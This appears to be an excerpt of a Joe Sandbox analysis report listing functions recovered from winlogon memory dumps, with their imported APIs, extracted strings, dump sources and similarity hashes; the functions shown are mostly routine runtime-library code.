Instruction ID: 18b328c97b5f9e14fffcfa9212a447ac2abda381c2e5647efa8e85a057c85cab
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 19011775321BC0C6EB259B62E84879DB2A1BF49B86F04443ACD4E07B65EF3DC1488B00

Function 000001E858988FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E858989013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589890A8
RtlUnwindEx.NTDLL ref: 000001E8589890F7

Strings

f, xrefs: 000001E858989026
csm, xrefs: 000001E85898908E

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: c300b2b6b54622bad3c43c23df103e30e38a6bb1438ec9a2dd89e032c6842fde
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 53518932729683CAEB54CB15E848B9DB7A6FB44B88F508536DE4B47788DF39C841CB00

Function 000001E858981A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001E858981A60
StrCmpNIW.SHLWAPI ref: 000001E858981A7A
lstrlenW.KERNEL32 ref: 000001E858981A89
StrCpyW.SHLWAPI ref: 000001E858981A9E

Strings

\\?\, xrefs: 000001E858981A6E

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: d0bcd0cf9b4692289a878d77c8ac4738952449dce6fe18ad4e1a7071ab5e44cd
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: D4F03C723246C1D2EB609B61F9C479DB761FB88BC8F844032DE4D46954DE2CC68DCB00

Function 000001E85898BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001E85898BCBD
GetProcAddress.KERNEL32 ref: 000001E85898BCD3
FreeLibrary.KERNEL32 ref: 000001E85898BCFA

Strings

CorExitProcess, xrefs: 000001E85898BCCC
mscoree.dll, xrefs: 000001E85898BCB4

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: e6b40846573bec2309256a1e3779184d66e370f070609bbf47c065b346f7c57b
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: A2F06271221685D1FB108F29E84539DB321EF857A1F54062ADE6E452E4CF2CC045C700

Function 000001E858983044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001E858983066
StrCpyW.SHLWAPI ref: 000001E858983076
StrCatW.SHLWAPI ref: 000001E858983082
PathCombineW.SHLWAPI ref: 000001E858983090

Strings

\\.\pipe\, xrefs: 000001E85898305C

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 177804a8e33fc8a1ffb9e6d06ac6c2892e3a9ed2a31dc03627c06d5a34e3f628
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: A4F0F874624BC5D2EA148F53F9551ADB662AF48FD0F489132EE4E47B18DE2CC4858700

Function 000001E858985710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001E858985726

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction ID: ff1100847cf1c0e0aadc7ec0e970ba072bd13cc79387902f55229e6ec2abdf55
Opcode Fuzzy Hash: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction Fuzzy Hash: 0361C436629A85CAE760DB55E45039EB7A0FB88784F504127EE8E87BA8DF7CC444CF00

Function 000001E8589C3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001E8589C352C
_set_statfp.LIBCMT ref: 000001E8589C3547
_set_statfp.LIBCMT ref: 000001E8589C3563
_set_statfp.LIBCMT ref: 000001E8589C359F

Memory Dump Source

Source File: 0000001D.00000002.3310065596.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: b4ee51cf0a1e5aea1822e43a26c047e5dcf7f4fbb0b99cff55914cd4d144b702
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 7511E932AB0ED1D2FAA42528E4523EDBF806F59374F49873BAD7E067D6CE26C8417101

Function 000001E858963504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001E85896352C
_set_statfp.LIBCMT ref: 000001E858963547
_set_statfp.LIBCMT ref: 000001E858963563
_set_statfp.LIBCMT ref: 000001E85896359F

Memory Dump Source

Source File: 0000001D.00000002.3309693197.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858950000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 13a26281ade054cd1280fdbce72e43605aafa02c3cf2d887f28f1c2fac503938
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: D511A332A30AD191FA64192AE4413EDB1906F59374FD8873BBD6E076E6CE38C8417100

Function 000001E858994104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001E85899412C
_set_statfp.LIBCMT ref: 000001E858994147
_set_statfp.LIBCMT ref: 000001E858994163
_set_statfp.LIBCMT ref: 000001E85899419F

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 63986d8d169832ca2b3c9ff94d929ac1109ad7e490c18855dc707efbf0d460dd
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 5D11A3B2B30AD092F67A5569D4653EDB1477F783B8F090636AD7E077D6EE24C8414201

Function 000001E8589BF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001E8589BF124

Strings

or copy constructor iterator', xrefs: 000001E8589BF25A, 000001E8589BF275
Tuesday, xrefs: 000001E8589BF0F4
Wednesday, xrefs: 000001E8589BF1ED

Memory Dump Source

Source File: 0000001D.00000002.3310065596.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 45fbb07566537809df07c08353ba596d2c45bc6c88eb3f332a9267d3a220cd63
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: A661C6766286C0CEFA658BA9E5443EEFAA0EF85746F508837CE0E177A5DF34C8458300

Function 000001E85895F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001E85895F124

Strings

or copy constructor iterator', xrefs: 000001E85895F25A, 000001E85895F275
Wednesday, xrefs: 000001E85895F1ED
Tuesday, xrefs: 000001E85895F0F4

Memory Dump Source

Source File: 0000001D.00000002.3309693197.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858950000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: bbb57aa9e3b830d463c4fe85b52b4203214c9bc4de7028ccc68d76f93c744b6c
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 2761A2766206C0C2FA659B65E5443EEFAA1EF867A6F544837CE0E17BA4DF34C8458300

Function 000001E85898AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001E85898AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001E85898AAB7

Strings

RCC, xrefs: 000001E85898AA85
MOC, xrefs: 000001E85898AA7C

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: bb76fc1650d308761c410147ea84cb38f2e16afbcf0730215f2385a251eb584a
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 6C614633610A85CAEB209F65D4803DDB7A1FB48B88F044226EE4E17B99DF78C595CB02

Function 000001E8589BA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E8589BA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001E8589BA288

Strings

csm, xrefs: 000001E8589BA2DA
csm, xrefs: 000001E8589BA1C2

Memory Dump Source

Source File: 0000001D.00000002.3310065596.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: b8cb1cdd645de17ac90d150e5576baa1f770b257ea5295feeb99f43c7e10e3bf
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: A9517A322292C0CEEB648B65D45439CB7E0FB55B96F188227DE9D87B95CF39D490C702

Function 000001E85895A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E85895A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001E85895A288

Strings

csm, xrefs: 000001E85895A2DA
csm, xrefs: 000001E85895A1C2

Memory Dump Source

Source File: 0000001D.00000002.3309693197.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858950000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 0ad0f10a0311de8fe70e4511306a68505f179f6318197c4e8bd1820910d7e08b
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: DF517E322242C1CAEB648B25E44439DB7E0FF55B9AF184127DE9D87B95CF38D491CB0A

Function 000001E85898AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E85898ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001E85898AE88

Strings

csm, xrefs: 000001E85898ADC2
csm, xrefs: 000001E85898AEDA

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 49808e8ca0374573422c17999fa92c520f6827b0ca759f7661e9c90c8d8cbcb6
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: C85138732206C2CBEB648B25D58439DB7E0EB54B99F184126DE9D87A96CF38D491CF02

Function 000001E8589B8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E8589B8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589B84A8

Strings

csm, xrefs: 000001E8589B848E
f, xrefs: 000001E8589B8426

Memory Dump Source

Source File: 0000001D.00000002.3310065596.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 5afbde93f76065e937d33a33ecda40d7cc0652e0afb463397a4e63f594b95558
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: B751B932629280CEEB55CF15E445BDCB799FB48BD9F508076DE0A63788EFB4D8418704

Function 000001E858958405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E858958413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589584A8

Strings

f, xrefs: 000001E858958426
csm, xrefs: 000001E85895848E

Memory Dump Source

Source File: 0000001D.00000002.3309693197.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858950000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: bfd78980145a28763c880af9517e8ac90edd43b032dea0cdb72a4fbda65ea15a
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 4A51AC32621680CAEB14CF15E445BDEB799FF54B9AF508176DE4E63788EF34D8428B04

Function 000001E8589B83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E8589B8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589B84A8

Strings

csm, xrefs: 000001E8589B848E
f, xrefs: 000001E8589B8426

Memory Dump Source

Source File: 0000001D.00000002.3310065596.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: a63bd806f66d012ce775473c1f40d5f64a693a31238674c758956550f9c12806
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: F0318832225680DAEB159F11E849BDDBBA9FB48BD9F458036AE5E13788DF38C940C704

Function 000001E8589583E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E858958413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589584A8

Strings

f, xrefs: 000001E858958426
csm, xrefs: 000001E85895848E

Memory Dump Source

Source File: 0000001D.00000002.3309693197.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858950000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 56d3e007963a7e7881fb8535ced7d73073085fdb1eb8715deed5cad551f2bc8b
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: AD317C32221680D6EB14DF12E8457DEB7A4FF40B9AF958026EE5E17784DF38D941C704

Function 000001E858992058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001E8589920D7
WriteFile.KERNEL32 ref: 000001E85899239F
WriteFile.KERNEL32 ref: 000001E8589923E5
GetLastError.KERNEL32 ref: 000001E85899249B

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 5158255b9f45075a47059d5597f2be23213eaa00bc29a0f5feecf0f9424b8990
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 6BD1AE32B24AC0C9E711CFA9D4402ECBBB6FB54B98F144226DE6E97B99DE34C516C740

Function 000001E8589814A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E8589814C5
HeapFree.KERNEL32 ref: 000001E8589814D4
GetProcessHeap.KERNEL32 ref: 000001E8589814E1
HeapFree.KERNEL32 ref: 000001E8589814F0
GetProcessHeap.KERNEL32 ref: 000001E858981500

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 87d0c39c7ef690860e2d692a8e2b1ea7438f5f62204bc229bf9756ed41ae7668
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: FA014832620AD0C6E715EFA6E90418EB7A2FB88FC1F044436EE4E43729EE38C051C740

Function 000001E858992980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001E858992A9C
GetLastError.KERNEL32 ref: 000001E858992B27

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 12399152d6f5684d12032a5c33f3ea79e7a8066ea1a4d7d76d6e965cdc9918e8
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: DD91AD327206D0C5F7609FA9D8803EDFBA6BB45B98F14412BDE2E67A95DE34C486C700

Function 000001E85898253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001E858982620
StrCpyW.SHLWAPI ref: 000001E858982639

Strings

\\.\pipe\, xrefs: 000001E85898262B

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: dc5de42c1dc400c54a34142e8686c4d9b9fee3a7d214c8df3c00669743a542fc
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 357190362207C2CAE7259EA6E8443EEF795FB89B84F440037DD0E53B89DE35D6458B00

Function 000001E8589B9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001E8589B9EB7

Strings

MOC, xrefs: 000001E8589B9E7C
RCC, xrefs: 000001E8589B9E85

Memory Dump Source

Source File: 0000001D.00000002.3310065596.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 479c25fd653139756ea47a74aec904b6b413ad4f2ed2086552f17bedce541712
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: EC614632A29B84CAEB20DF65D4403DDB7A0FB49B99F144226EE4D17B98EF38D595C700

Function 000001E858959E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001E858959EB7

Strings

MOC, xrefs: 000001E858959E7C
RCC, xrefs: 000001E858959E85

Memory Dump Source

Source File: 0000001D.00000002.3309693197.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858950000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 094ec712c1b288e37f31cb4837e425075fcca7128a69f700356e5ae3858f6197
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: A1612632A25B84CAEB20DF65E4403DDB7A0FB45B89F144226EE4D17B99DF38D595CB00

Function 000001E858982330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001E858982416
StrCpyW.SHLWAPI ref: 000001E85898242D

Strings

\\.\pipe\, xrefs: 000001E858982421

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 414b1109d79ba0e870cecf76c2af5f31b5d4bde43533dd6e83f510ec87595dfc
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 6951BD322287C2C1F664DAAAE4983EEF791FB95780F450137DE5E03B99DE39C9048B50

Function 000001E8589926F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001E858992807
GetLastError.KERNEL32 ref: 000001E858992829

Strings

U, xrefs: 000001E8589927B3

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: dcdd8cd598e05c42887886c746ddf0c279423bf44c0c1bf9e557dc900a05699c
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 2A416072625A80C6EB209F65E4443EDF7A2FB98794F514032EE4E87794EF38C441C740

Function 000001E8589894A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001E8589894F0
RaiseException.KERNEL32 ref: 000001E858989531

Strings

csm, xrefs: 000001E85898951E

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
